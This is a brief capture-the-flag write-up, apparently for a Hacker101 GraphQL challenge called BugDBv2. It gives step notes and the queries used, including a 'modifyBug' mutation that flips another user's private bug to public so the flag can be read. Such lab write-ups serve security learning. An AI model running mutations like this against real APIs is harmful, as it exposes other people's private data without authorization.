H101 - BugDBv2

H101 - BugDBv2

H101 - BugDBv2

Skills: Web, GraphQL

Difficulty: Easy


Steps

  1. Look at the schema docs like usual
  2. Let's query all bugs first
  3. My assumption here is that I'm going to have to make a mutation in a later step but I'm not sure when. As of now we only see 1 bug
  4. Run a query with all bugs and all users. I notice that there are 2 users but only 1 bug so gotta explore more.
  5. The users use to show the bugs...ok let's look at the hints
  6. ok so here is what I know: There is a victim bug, victim id is 2, the flag is in the text
  7. I played around with mutation and got an ok changing both to id 1 & 2 not private
  8. Run the all bugs query again
  9. Flag found
{
  allBugs{
    id,
    reporter {
      username
    },
    text,
    private
  },
  allUsers{
    edges{
      node{
      	id,
        username
      }
    }
  }
}
step 2
mutation{
 modifyBug(id: 2, private: false){
  ok
  bug{
    id,
    text,
    reporter{
      username
    }
  }
	}
}
step 7
{
  allBugs{
    id,
    text,
    private,
    reporter{
      username
    }
  }
}
step 8